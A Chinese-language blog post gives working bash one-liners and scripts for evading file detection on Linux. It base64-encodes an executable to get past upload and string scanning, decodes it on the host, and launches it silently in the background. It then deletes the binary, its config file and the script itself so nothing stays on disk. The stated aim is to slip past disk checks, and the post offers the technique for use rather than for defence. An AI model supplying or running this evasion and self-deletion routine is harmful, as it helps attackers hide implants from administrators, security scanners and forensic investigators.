摘要:linux执行可执行文件后,删除可执行文件以规避硬盘文件检查。因为linux特殊机制,可执行文件执行后,是可以删除的。所以把可执行文件放入后台执行,然后把硬盘上的文件删除,可以规避一定的检测。

bae64命令

如果禁止上传可执行文件,或者对上传的文件有字符串检测,可以把可执行文件转换成base64字符串,然后再还原回去。

base64 docker > dockerbase 
//将docker可执行文件转换成base64字符串然后存入dockerbase
base64 docker.pb > dockerconfig 
//将docker.pb文件转换成base64字符串然后存入dockerconfig
base64 -d dockerbase > docker 
//从dockerbase文件中读取base64字符串,然后还原成docker可执行文件
base64 -d dockerconfig > docker.pb 
//从dockerconfig文件中读取base64字符串,然后还原成docker.pb

执行可执行文件然后自删除

bash命令行

// 第一个版本
// 第一条命令显示错误信息到控制台
// 第二条不显示错误信息到控制台
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;`./docker -config ./docker.pb> /dev/null &`;sleep 8;rm -rf ./docker;rm -rf ./docker.pb;
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;`./docker -config ./docker.pb> /dev/null  2>&1 &`;sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

//第二个版本,和第二个版本功能等同
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;$(./docker -config ./docker.pb> /dev/null &);sleep 8;rm -rf ./docker;rm -rf ./docker.pb;
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;$(./docker -config ./docker.pb> /dev/null  2>&1 &);sleep 8;rm -rf ./docker;rm -rf ./docker.pb;


//补充
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;(./docker -config ./docker.pb> /dev/null  2>&1 &);sleep 8;rm -rf ./docker;rm -rf ./docker.pb;
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;{ ./docker -config ./docker.pb> /dev/null  2>&1 &};sleep 8;rm -rf ./docker;rm -rf ./docker.pb;
base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;{ ./docker -config ./docker.pb> /dev/null  2>&1 & };sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

bash脚本形式

版本一

文件名为1.bash

#!/bin/bash
base64 -d dockerbase > docker
base64 -d dockerconfig > docker.pb
chmod 777 docker
chmod 777 docker.pb
./docker -config docker.pb> /dev/null 2>&1 &
rm -rf ./docker
rm -rf ./docker.pb
rm -rf ./1.bash

版本二

 #!/bin/bash
 base64 -d dockerbase > docker
 base64 -d dockerconfig > docker.pb
 chmod 777 docker
 chmod 777 docker.pb
 a=$(pwd)
 b="/docker -config "
 d='/docker.pb'
 e=$a$b$a$d
 $($e > /dev/null &)
 sleep 8
 rm -rf ./docker
 rm -rf ./docker.pb
 rm -rf ./1.bash

版本三

文件名为1.bash

 #!/bin/bash
 base64 -d dockerbase > docker
 base64 -d dockerconfig > docker.pb
 chmod 777 docker
 chmod 777 docker.pb
 a=$(pwd)
 b="/docker -config "
 d='/docker.pb'
 e=$a$b$a$d
`$e > /dev/null &`
 sleep 8
 rm -rf ./docker
 rm -rf ./docker.pb
 rm -rf ./1.bash

刚开始以为下面这样就可以运行

 #!/bin/bash
 base64 -d dockerbase > docker
 base64 -d dockerconfig > docker.pb
 chmod 777 docker
 chmod 777 docker.pb
 a=$(pwd)
 b="/docker -config "
 d='/docker.pb  > /dev/null &'
 e=$a$b$a$d
`$e`
 sleep 8
 rm -rf ./docker
 rm -rf ./docker.pb
 rm -rf ./1.bash

结果发现 > /dev/null & 不能写进字符串中(原因估计就是重定向符>的原因)。即

`$e > /dev/null &` // 正确 e=/root/docker/docker -config /root/docker/docker.pb ,不能写成下面的
`$e` // 错误,e=/root/docker/docker -config /root/docker/docker.pb > /dev/null &

linux执行文件自删除脚本1.jpg

进程23603为正确版本运行结果,进程22249为错误版本运行结果。

源代码

源代码.rar